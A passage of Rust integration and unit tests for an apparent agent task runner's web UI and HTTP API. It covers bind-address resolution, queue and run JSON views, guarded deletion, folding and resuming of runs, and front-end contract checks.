8967 let f = Fixture::start().await;
8968 let before = f.get("/api/health").await.json()["talks_rev"]
8969 .as_u64()
8970 .expect("talks_rev");
8971
8972 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8973 std::thread::sleep(Duration::from_millis(10));
8974 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8975 on_disk.turns.push(crate::talk::Turn {
8976 who: crate::talk::Who::Operator,
8977 body: "a new turn".to_owned(),
8978 at: Timestamp::now(),
8979 attachments: Vec::new(),
8980 });
8981 f.talks().put(&mut on_disk).expect("record a turn");
8982
8983 let after = f.get("/api/health").await.json()["talks_rev"]
8984 .as_u64()
8985 .expect("talks_rev");
8986 assert_ne!(
8987 before, after,
8988 "a phone must be able to notice a talk's reply without polling every store"
8989 );
8990 }
8991
8992 #[test]
8993 fn bind_reads_back_from_the_spelling_the_cli_prints() {
8994 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
8998 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
8999 }
9000 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
9001 assert!("everywhere".parse::<Bind>().is_err());
9002 }
9003
9004 #[test]
9005 fn an_explicit_bind_address_is_taken_verbatim() {
9006 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
9007
9008 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
9009
9010 assert_eq!(addr, asked);
9011 assert!(
9012 warning.is_none(),
9013 "an operator who named an address gets no lecture"
9014 );
9015 }
9016
9017 #[test]
9018 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
9019 let (addr, warning) = resolve_bind(&Bind::Auto);
9020
9021 match addr {
9028 IpAddr::V4(ip) if is_tailnet(&ip) => {
9029 assert!(warning.is_none(), "a tailnet address needs no warning");
9030 }
9031 other => {
9032 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
9033 let warning = warning.expect("a fallback has to explain itself");
9034 assert!(
9035 warning.contains("127.0.0.1") && warning.contains("local-only"),
9036 "the warning says what happened and what it costs: {warning}"
9037 );
9038 }
9039 }
9040 }
9041
9042 #[test]
9043 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
9044 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
9048 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
9049 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
9050 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
9051 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
9052 }
9053
9054 #[test]
9055 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
9056 let ids = vec![
9057 "20260902-140501-aaaa".to_owned(),
9058 "20260902-140502-aabb".to_owned(),
9059 ];
9060
9061 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
9062 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
9063 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
9064
9065 assert_eq!(missing.status, StatusCode::NOT_FOUND);
9066 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
9067 assert_eq!(short, "20260902-140502-aabb");
9068 }
9069 #[tokio::test]
9070 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
9071 let fx = Fixture::start().await;
9077 let id = panel(
9078 &fx,
9079 "<img src=\"shot.png\">",
9080 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
9081 );
9082
9083 let doc = fx
9085 .get(&format!("/api/questions/{id}/panel/index.html"))
9086 .await;
9087 assert_eq!(doc.status, 200, "{}", doc.body);
9088 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
9089
9090 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
9091 assert_eq!(sibling.status, 200, "{}", sibling.body);
9092 assert_eq!(sibling.header("content-type"), Some("image/png"));
9093 assert_eq!(
9094 sibling.header("content-security-policy"),
9095 Some(PANEL_CSP),
9096 "the sibling route must carry the same policy as the asset route"
9097 );
9098
9099 assert_eq!(
9102 fx.head(&format!("/api/questions/{id}/panel")).await.status,
9103 200
9104 );
9105 }
9106
9107 #[test]
9108 fn runs_revision_moves_when_deleting_an_older_run() {
9109 let temp = TempDir::new().expect("tempdir");
9110 let runs = temp.path().join("runs");
9111 std::fs::create_dir_all(&runs).expect("create runs dir");
9112
9113 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
9114
9115 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
9116 std::thread::sleep(Duration::from_millis(10));
9117 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
9118
9119 let rev_before = runs_revision(&runs);
9120 assert!(rev_before > 0);
9121
9122 let old_dir = runs.join("20260901-100000-old1");
9123 std::fs::remove_dir_all(&old_dir).expect("remove old run");
9124
9125 let rev_after = runs_revision(&runs);
9126 assert_ne!(
9127 rev_before, rev_after,
9128 "deleting an older run must change the revision so other clients see the deletion"
9129 );
9130 }
9131
9132 fn write_state(runs: &FsPath, state: &RunState) {
9137 let dir = runs.join(&state.id);
9138 std::fs::create_dir_all(&dir).expect("run dir");
9139 std::fs::write(
9140 dir.join("run.json"),
9141 serde_json::to_string_pretty(state).expect("serialize run"),
9142 )
9143 .expect("write run.json");
9144 }
9145
9146 #[test]
9151 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
9152 let temp = TempDir::new().expect("tempdir");
9153 let runs = temp.path().join("runs");
9154 std::fs::create_dir_all(&runs).expect("create runs dir");
9155 let mut state = RunState::new(
9156 PathBuf::from("/repo/magi"),
9157 "main".to_owned(),
9158 "0123456789abcdef".to_owned(),
9159 "task".to_owned(),
9160 Config::default(),
9161 );
9162 state.id = "20260902-100000-c0de".to_owned();
9163 write_state(&runs, &state);
9164
9165 let rev_idle = runs_revision(&runs);
9166 std::thread::sleep(Duration::from_millis(10));
9167 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
9168 write_state(&runs, &state);
9169 let rev_started = runs_revision(&runs);
9170 assert_ne!(
9171 rev_idle, rev_started,
9172 "a seat starting must move the revision"
9173 );
9174
9175 std::thread::sleep(Duration::from_millis(10));
9176 state.seat_finished("judge-1");
9177 write_state(&runs, &state);
9178 let rev_finished = runs_revision(&runs);
9179 assert_ne!(
9180 rev_started, rev_finished,
9181 "and clearing it again must move the revision a second time"
9182 );
9183 }
9184
9185 #[tokio::test]
9186 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
9187 let fx = Fixture::start().await;
9192 let q = fx.queue();
9193
9194 let mut t = Task::new(
9195 "Task".to_owned(),
9196 "Instruction".to_owned(),
9197 PathBuf::from("/repo"),
9198 Source::Human,
9199 );
9200 t.block(
9201 vec!["20260101-000000-dead".to_owned()],
9202 Some("waiting on Task 1".to_owned()),
9203 );
9204 t.answers.push(crate::queue::AnsweredQuestion {
9205 question: "Which backend?".to_owned(),
9206 answer: "SQLite".to_owned(),
9207 });
9208 q.put(&mut t).expect("put t");
9209
9210 let res = fx.get("/api/queue").await;
9211 assert_eq!(res.status, 200);
9212 let list = res.json();
9213 let view = list
9214 .as_array()
9215 .expect("array")
9216 .iter()
9217 .find(|v| v["id"] == t.id)
9218 .expect("task in list");
9219 assert_eq!(view["status_str"], "blocked");
9220 assert_eq!(
9221 view["blocked_by"],
9222 serde_json::json!(["20260101-000000-dead"])
9223 );
9224 assert_eq!(view["block_reason"], "waiting on Task 1");
9225 assert_eq!(view["answers"][0]["question"], "Which backend?");
9226 assert_eq!(view["answers"][0]["answer"], "SQLite");
9227
9228 let res = fx
9232 .post(&format!("/api/queue/{}/hold", t.short()), None)
9233 .await;
9234 assert_eq!(res.status, 200);
9235 let held = res.json();
9236 assert_eq!(held["status_str"], "held");
9237 assert_eq!(held["blocked_by"], serde_json::json!([]));
9238 assert!(held["block_reason"].is_null());
9239 assert_eq!(held["answers"][0]["answer"], "SQLite");
9240 }
9241
9242 #[tokio::test]
9243 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
9244 let fx = Fixture::start().await;
9245 let q = fx.queue();
9246 let mk = |title: &str| {
9247 Task::new(
9248 title.to_owned(),
9249 "Instruction".to_owned(),
9250 PathBuf::from("/repo"),
9251 Source::Human,
9252 )
9253 };
9254 let mut root = mk("root");
9255 root.hold_manual(Some("waiting".to_owned()));
9256 q.put(&mut root).unwrap();
9257 let mut mid = mk("mid");
9258 mid.block(vec![root.id.clone()], None);
9259 q.put(&mut mid).unwrap();
9260 let mut leaf = mk("leaf");
9261 leaf.block(vec![mid.id.clone()], None);
9262 q.put(&mut leaf).unwrap();
9263
9264 let list = fx.get("/api/queue").await.json();
9265 let find = |id: &str| {
9266 list.as_array()
9267 .unwrap()
9268 .iter()
9269 .find(|v| v["id"] == id)
9270 .unwrap()
9271 .clone()
9272 };
9273 let leaf_view = find(&leaf.id);
9274 assert_eq!(
9275 leaf_view["waits_on"],
9276 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
9277 );
9278 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
9279 assert_eq!(
9280 find(&mid.id)["waits_on"],
9281 serde_json::json!([format!("{} (held)", root.short())])
9282 );
9283 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
9284 }
9285
9286 #[tokio::test]
9287 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
9288 let fx = Fixture::start().await;
9289 let q = fx.queue();
9290
9291 let mut t1 = Task::new(
9293 "Task 1".to_owned(),
9294 "Instruction 1".to_owned(),
9295 PathBuf::from("/repo"),
9296 Source::Human,
9297 );
9298 let run_id = "20260901-000000-r111";
9299 t1.runs.push(run_id.to_owned());
9300 write_run(&fx.runs(), run_id, RunStatus::Merged);
9301 q.put(&mut t1).expect("put t1");
9302
9303 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
9305 assert_eq!(res.status, 204);
9306 assert!(res.body.is_empty(), "204 No Content has no body");
9307 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
9308 assert!(
9309 fx.runs().join(run_id).exists(),
9310 "run directory must not be deleted when its task is deleted"
9311 );
9312
9313 let mut t2 = Task::new(
9315 "Task 2".to_owned(),
9316 "Instruction 2".to_owned(),
9317 PathBuf::from("/repo"),
9318 Source::Human,
9319 );
9320 t2.status = TaskStatus::Running;
9321 q.put(&mut t2).expect("put t2");
9322 let mut beat = crate::daemon::Status::new();
9323 beat.current = vec![crate::daemon::Current {
9324 task: t2.id.clone(),
9325 run: "20260901-000000-r222".to_owned(),
9326 }];
9327 beat.updated_at = jiff::Timestamp::now();
9328 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9329 .expect("publish a heartbeat");
9330 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
9331 assert_eq!(res.status, 409);
9332 assert!(
9333 res.json()["error"]
9334 .as_str()
9335 .unwrap()
9336 .contains("live daemon")
9337 );
9338 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
9339
9340 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
9346 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9347 .expect("leave a stale heartbeat");
9348 let mut t3 = Task::new(
9349 "Task 3".to_owned(),
9350 "Instruction 3".to_owned(),
9351 PathBuf::from("/repo"),
9352 Source::Human,
9353 );
9354 t3.status = TaskStatus::Running;
9355 q.put(&mut t3).expect("put t3");
9356 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
9357 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
9358 assert_eq!(res.status, 204);
9359 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
9360 assert!(
9361 q.claim(&t3.id).is_ok(),
9362 "the stale lock went with it, so the id is claimable again"
9363 );
9364
9365 let res = fx.delete("/api/queue/nonexistent").await;
9367 assert_eq!(res.status, 404);
9368 }
9369
9370 #[tokio::test]
9371 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
9372 let fx = Fixture::start().await;
9373 let runs = fx.runs();
9374
9375 let run_id = "20260901-000000-fold";
9377 let mut state = RunState::new(
9378 PathBuf::from("/repo"),
9379 "main".to_owned(),
9380 "abc".to_owned(),
9381 "instruction".to_owned(),
9382 Config::default(),
9383 );
9384 state.id = run_id.to_owned();
9385 state.status = RunStatus::Merged;
9386 state.candidates.push(crate::run::Candidate {
9387 index: 0,
9388 label: 'A',
9389 agent: "a".to_owned(),
9390 branch: "b".to_owned(),
9391 worktree: PathBuf::from("/w"),
9392 summary: String::new(),
9393 stat: String::new(),
9394 files: 1,
9395 commits: 1,
9396 empty: false,
9397 failed: None,
9398 verified_noop: None,
9399 duration_ms: 0,
9400 folded: true,
9401 });
9402 let dir = runs.join(run_id);
9403 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
9404 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
9405 .expect("write artifact");
9406 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
9407 .expect("write run.json");
9408
9409 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
9411 assert_eq!(res.status, 204);
9412 assert!(res.body.is_empty(), "204 has no body");
9413 assert!(!dir.exists(), "run directory and artifacts must be deleted");
9414
9415 let run_running = "20260901-000000-rung";
9420 write_run(&runs, run_running, RunStatus::Prep);
9421 let mut beat = crate::daemon::Status::new();
9422 beat.current = vec![crate::daemon::Current {
9423 task: "20260901-000000-task".to_owned(),
9424 run: run_running.to_owned(),
9425 }];
9426 beat.updated_at = jiff::Timestamp::now();
9427 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9428 .expect("publish a heartbeat");
9429 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
9430 assert_eq!(res.status, 409);
9431 assert!(
9432 res.json()["error"]
9433 .as_str()
9434 .unwrap()
9435 .contains("live daemon"),
9436 "the refusal must say who is holding it"
9437 );
9438 assert!(
9439 runs.join(run_running).exists(),
9440 "a run in flight keeps its directory"
9441 );
9442
9443 let run_unfolded = "20260901-000000-unfd";
9445 let mut state2 = RunState::new(
9446 PathBuf::from("/repo"),
9447 "main".to_owned(),
9448 "abc".to_owned(),
9449 "instruction".to_owned(),
9450 Config::default(),
9451 );
9452 state2.id = run_unfolded.to_owned();
9453 state2.status = RunStatus::Ready;
9454 state2.candidates.push(crate::run::Candidate {
9455 index: 0,
9456 label: 'A',
9457 agent: "a".to_owned(),
9458 branch: "b".to_owned(),
9459 worktree: PathBuf::from("/w"),
9460 summary: String::new(),
9461 stat: String::new(),
9462 files: 1,
9463 commits: 1,
9464 empty: false,
9465 failed: None,
9466 verified_noop: None,
9467 duration_ms: 0,
9468 folded: false,
9469 });
9470 let dir2 = runs.join(run_unfolded);
9471 std::fs::create_dir_all(&dir2).expect("create dir2");
9472 std::fs::write(
9473 dir2.join("run.json"),
9474 serde_json::to_string(&state2).unwrap(),
9475 )
9476 .expect("write run.json");
9477
9478 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
9479 assert_eq!(res.status, 409);
9480 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
9481 assert!(dir2.exists(), "unfolded run directory is kept");
9482
9483 let res = fx.delete("/api/runs/nonexistent").await;
9485 assert_eq!(res.status, 404);
9486 }
9487
9488 #[test]
9497 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
9498 let start = APP_JS
9499 .find("function renderStats() {")
9500 .expect("renderStats");
9501 let end = start
9502 + APP_JS[start..]
9503 .find("function statsTile(")
9504 .expect("the next top-level function");
9505 let body = &APP_JS[start..end];
9506
9507 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
9508 let gate_end = gate_start
9509 + body[gate_start..]
9510 .find("}\n renderStatsQueue")
9511 .expect("the gate's own closing brace, right before the unconditional call");
9512 let gated = &body[gate_start..gate_end];
9513
9514 assert_eq!(
9515 body.matches("renderStatsQueue(").count(),
9516 1,
9517 "renderStats must call renderStatsQueue exactly once: {body}"
9518 );
9519 assert!(
9520 !gated.contains("renderStatsQueue"),
9521 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
9522 run-derived panels on an empty run history - the queue panel has to render \
9523 regardless: {gated}"
9524 );
9525 }
9526
9527 #[test]
9528 fn web_ui_delete_contract_in_front_end() {
9529 assert!(APP_JS.contains("deleteRun:"));
9531 assert!(APP_JS.contains("deleteTask:"));
9532
9533 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
9535 ..APP_JS.find("function renderRuns").unwrap()];
9536 assert!(!run_cards_slice.to_lowercase().contains("delete"));
9537
9538 assert!(APP_JS.contains("renderRunDelete"));
9540 assert!(APP_JS.contains("runDeleteReason"));
9541 assert!(APP_JS.contains("magi fold"));
9542 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
9543
9544 assert!(APP_JS.contains("cancel.focus"));
9546 assert!(APP_JS.contains("armedRunDelete"));
9547 assert!(APP_JS.contains("armedDelete"));
9548
9549 assert!(APP_JS.contains("disabled: status === \"running\""));
9551 }
9552
9553 #[test]
9573 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9574 let build = APP_JS
9575 .find("function createRunCard")
9576 .expect("createRunCard exists");
9577 let update = APP_JS
9578 .find("function updateRunCard")
9579 .expect("updateRunCard exists");
9580 let end = APP_JS
9581 .find("function renderRuns")
9582 .expect("renderRuns exists");
9583
9584 let builder = &APP_JS[build..update];
9586 let open = builder.find("refs = {").expect("createRunCard sets refs");
9587 let literal = &builder[open + "refs = {".len()..];
9588 let close = literal.find('}').expect("the refs literal is closed");
9589 let published: HashSet<&str> = literal[..close]
9590 .split(',')
9591 .filter_map(|entry| entry.split(':').next())
9593 .map(str::trim)
9594 .filter(|name| !name.is_empty())
9595 .collect();
9596 assert!(
9597 published.len() > 5,
9598 "the refs literal did not parse into names: {published:?}"
9599 );
9600
9601 let mut used: Vec<&str> = Vec::new();
9604 let updaters = &APP_JS[update..end];
9605 for (at, _) in updaters.match_indices("r.") {
9606 let before = updaters[..at].chars().next_back();
9609 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
9610 continue;
9611 }
9612 let rest = &updaters[at + 2..];
9613 let len = rest
9614 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
9615 .unwrap_or(rest.len());
9616 if len > 0 {
9617 used.push(&rest[..len]);
9618 }
9619 }
9620 assert!(
9621 used.len() > 5,
9622 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
9623 );
9624
9625 let missing: Vec<&str> = used
9626 .iter()
9627 .copied()
9628 .filter(|name| !published.contains(name))
9629 .collect();
9630 assert!(
9631 missing.is_empty(),
9632 "a run card's updater reaches for {missing:?}, which `createRunCard` \
9633 never put in `refs` - every card will throw and the list will \
9634 render empty under a count line that says otherwise. Published: \
9635 {published:?}"
9636 );
9637 }
9638
9639 #[tokio::test]
9640 async fn folding_from_the_phone_reports_what_it_removed() {
9641 let fx = Fixture::start().await;
9642 let runs = fx.runs();
9643
9644 let id = "20260901-000000-fold";
9648 write_run(&runs, id, RunStatus::Stalled);
9649 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9650 assert_eq!(res.status, 200);
9651 assert_eq!(res.json()["removed_count"], 0);
9652 assert_eq!(res.json()["run"], id);
9653 assert!(
9654 runs.join(id).exists(),
9655 "a fold keeps the run's record; only the worktrees go"
9656 );
9657 }
9658
9659 #[tokio::test]
9660 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
9661 let fx = Fixture::start().await;
9662 let runs = fx.runs();
9663 let wt = fx.home.path().join("wt").join("magi").join("dead");
9664 let id = "20260901-000000-dead";
9665 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9666 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9667 std::fs::create_dir_all(&wt).expect("worktree dir");
9668
9669 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9670 assert_eq!(res.status, 200, "{}", res.body);
9671 assert!(
9672 res.json()["removed_count"].as_u64().unwrap() > 0,
9673 "the worktree this build could not read a state for still went"
9674 );
9675 assert!(
9676 !runs.join(id).exists(),
9677 "an unreadable run has no candidate list to fold selectively, so \
9678 the whole record goes - same as `magi fold` on the CLI"
9679 );
9680 }
9681
9682 #[tokio::test]
9683 async fn deleting_an_unreadable_run_removes_it_wholesale() {
9684 let fx = Fixture::start().await;
9685 let runs = fx.runs();
9686 let wt = fx.home.path().join("wt").join("magi").join("gone");
9687 let id = "20260901-000000-gone";
9688 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9689 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9690 std::fs::create_dir_all(&wt).expect("worktree dir");
9691
9692 let res = fx.delete(&format!("/api/runs/{id}")).await;
9693 assert_eq!(res.status, 204, "{}", res.body);
9694 assert!(!runs.join(id).exists(), "the broken record is gone");
9695 assert!(!wt.exists(), "its worktree is gone too");
9696 }
9697
9698 #[tokio::test]
9699 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9700 let fx = Fixture::start().await;
9701 let runs = fx.runs();
9702 let id = "20260901-000000-live";
9703 write_run(&runs, id, RunStatus::Implementing);
9704
9705 let mut beat = crate::daemon::Status::new();
9706 beat.current = vec![crate::daemon::Current {
9707 task: "20260901-000000-task".to_owned(),
9708 run: id.to_owned(),
9709 }];
9710 beat.updated_at = jiff::Timestamp::now();
9711 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9712 .expect("publish a heartbeat");
9713
9714 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9715 assert_eq!(res.status, 409);
9716 assert!(
9717 res.json()["error"]
9718 .as_str()
9719 .unwrap()
9720 .contains("live daemon"),
9721 "folding under a running agent would pull its worktree away"
9722 );
9723 }
9724
9725 #[tokio::test]
9726 async fn fold_merged_requires_a_pr_url() {
9727 let fx = Fixture::start().await;
9728 let runs = fx.runs();
9729 let id = "20260901-000000-nourl";
9730 write_run(&runs, id, RunStatus::Blocked);
9731
9732 let res = fx
9733 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9734 .await;
9735 assert_eq!(res.status, 400, "{}", res.body);
9736
9737 let blank = fx
9738 .post(
9739 &format!("/api/runs/{id}/fold-merged"),
9740 Some(r#"{"pr_url":" "}"#),
9741 )
9742 .await;
9743 assert_eq!(blank.status, 400, "{}", blank.body);
9744 }
9745
9746 #[tokio::test]
9747 async fn fold_merged_is_404_for_an_unknown_run() {
9748 let fx = Fixture::start().await;
9749 let res = fx
9750 .post(
9751 "/api/runs/nosuchrun/fold-merged",
9752 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9753 )
9754 .await;
9755 assert_eq!(res.status, 404, "{}", res.body);
9756 }
9757
9758 #[tokio::test]
9759 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9760 let fx = Fixture::start().await;
9761 let runs = fx.runs();
9762 let id = "20260901-000000-livemerge";
9763 write_run(&runs, id, RunStatus::Blocked);
9764
9765 let mut beat = crate::daemon::Status::new();
9766 beat.current = vec![crate::daemon::Current {
9767 task: "20260901-000000-task".to_owned(),
9768 run: id.to_owned(),
9769 }];
9770 beat.updated_at = jiff::Timestamp::now();
9771 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9772 .expect("publish a heartbeat");
9773
9774 let res = fx
9775 .post(
9776 &format!("/api/runs/{id}/fold-merged"),
9777 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9778 )
9779 .await;
9780 assert_eq!(res.status, 409, "{}", res.body);
9781 assert!(
9782 res.json()["error"]
9783 .as_str()
9784 .unwrap()
9785 .contains("live daemon"),
9786 "correcting a run's merge underneath a running agent would race \
9787 whatever it is doing to the same `status`/`merge` fields"
9788 );
9789 }
9790
9791 #[tokio::test]
9796 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9797 let fx = Fixture::start().await;
9798 let runs = fx.runs();
9799 let id = "20260901-000000-unconfirmed";
9800 write_run(&runs, id, RunStatus::Blocked);
9801
9802 let res = fx
9803 .post(
9804 &format!("/api/runs/{id}/fold-merged"),
9805 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9806 )
9807 .await;
9808 assert_eq!(res.status, 400, "{}", res.body);
9809 assert_eq!(
9810 read_run(&runs, id).unwrap().status,
9811 RunStatus::Blocked,
9812 "a pull request that could not be confirmed merged must leave \
9813 the run exactly where it was"
9814 );
9815 }
9816
9817 #[tokio::test]
9818 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9819 let fx = Fixture::start().await;
9820 let runs = fx.runs();
9821
9822 for (status, word) in [
9828 (RunStatus::Merged, "merged"),
9829 (RunStatus::Ready, "ready"),
9830 (RunStatus::Failed, "failed"),
9831 ] {
9832 let id = format!("20260901-000000-{}", &word[..4]);
9833 write_run(&runs, &id, status);
9834 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9835 assert_eq!(res.status, 409, "{word} must not be resumable");
9836 let err = res.json()["error"].as_str().unwrap().to_owned();
9837 assert!(err.contains(word), "the refusal names the status: {err}");
9838 }
9839
9840 let mid = "20260901-000000-midf";
9845 write_run(&runs, mid, RunStatus::Reviewing);
9846 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9847 assert_eq!(res.status, 202, "an interrupted run is resumable");
9848 }
9849
9850 #[tokio::test]
9851 async fn resume_is_refused_while_the_loop_is_running() {
9852 let fx = Fixture::start().await;
9853 let runs = fx.runs();
9854 let stalled = "20260901-000000-stal";
9855 write_run(&runs, stalled, RunStatus::Stalled);
9856
9857 let mut beat = crate::daemon::Status::new();
9861 beat.current = vec![crate::daemon::Current {
9862 task: "20260901-000000-task".to_owned(),
9863 run: "20260901-000000-othr".to_owned(),
9864 }];
9865 beat.updated_at = jiff::Timestamp::now();
9866 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9867 .expect("publish a heartbeat");
9868
9869 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9870 assert_eq!(res.status, 409);
9871 let err = res.json()["error"].as_str().unwrap().to_owned();
9872 assert!(err.contains("othr"), "it names what the loop is on: {err}");
9873 assert!(err.contains("stop it first"), "{err}");
9874 }
9875
9876 #[test]
9877 fn a_run_cannot_be_resumed_twice_at_once() {
9878 let home = TempDir::new().expect("temp home");
9879 let ui = Ui::new(
9880 Queue::at(home.path().join("queue")),
9881 Questions::at(home.path().join("questions")),
9882 Talks::at(home.path().join("talks")),
9883 home.path().join("runs"),
9884 home.path().to_path_buf(),
9885 PathBuf::from("/repo"),
9886 )
9887 .with_worktrees_root(home.path().join("wt"));
9888 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9889 let again = ui.begin_resume("20260901-000000-once");
9890 assert!(again.is_err(), "a second tap must not start a second graph");
9891 drop(first);
9892 assert!(
9893 ui.begin_resume("20260901-000000-once").is_ok(),
9894 "and the claim is released when the attempt ends"
9895 );
9896 }
9897
9898 #[test]
9899 fn talk_thinking_tracks_only_its_held_turn_claim() {
9900 let home = TempDir::new().expect("temp home");
9901 let ui = Ui::new(
9902 Queue::at(home.path().join("queue")),
9903 Questions::at(home.path().join("questions")),
9904 Talks::at(home.path().join("talks")),
9905 home.path().join("runs"),
9906 home.path().to_path_buf(),
9907 PathBuf::from("/repo"),
9908 )
9909 .with_worktrees_root(home.path().join("wt"));
9910 let id = "20260901-000000-once";
9911
9912 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9913 let turn = ui.begin_talk_turn(id).expect("claim turn");
9914 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9915 assert!(
9916 !ui.is_thinking("20260901-000000-other"),
9917 "one talk's turn does not make another talk busy"
9918 );
9919 drop(turn);
9920 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9921 }
9922
9923 #[tokio::test]
9924 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9925 let fx = Fixture::start().await;
9926 let mut beat = crate::daemon::Status::new();
9930 beat.pid = 4321;
9931 beat.updated_at = jiff::Timestamp::now();
9932 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9933 .expect("publish a heartbeat");
9934
9935 let res = fx.post("/api/upgrade", None).await;
9936 assert_eq!(res.status, 409);
9937 let err = res.json()["error"].as_str().unwrap().to_owned();
9938 assert!(err.contains("4321"), "the refusal names the owner: {err}");
9939 assert!(err.contains("old one against the same queue"), "{err}");
9940 }
9941
9942 #[test]
9949 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9950 assert!(!should_spawn_recheck(&crate::config::Update {
9951 mode: UpdateMode::Off,
9952 interval: None,
9953 }));
9954
9955 unsafe {
9958 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9959 }
9960 let killed = should_spawn_recheck(&crate::config::Update {
9961 mode: UpdateMode::Notify,
9962 interval: None,
9963 });
9964 unsafe {
9965 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9966 }
9967 assert!(
9968 !killed,
9969 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9970 one-time startup check"
9971 );
9972
9973 assert!(should_spawn_recheck(&crate::config::Update {
9974 mode: UpdateMode::Notify,
9975 interval: None,
9976 }));
9977 }
9978
9979 #[test]
9985 fn recheck_poll_period_tracks_a_short_configured_interval() {
9986 let short = crate::config::Update {
9987 mode: UpdateMode::Notify,
9988 interval: Some("1m".to_owned()),
9989 };
9990 let period = recheck_poll_period(&short);
9991 assert!(
9992 period <= Duration::from_secs(30),
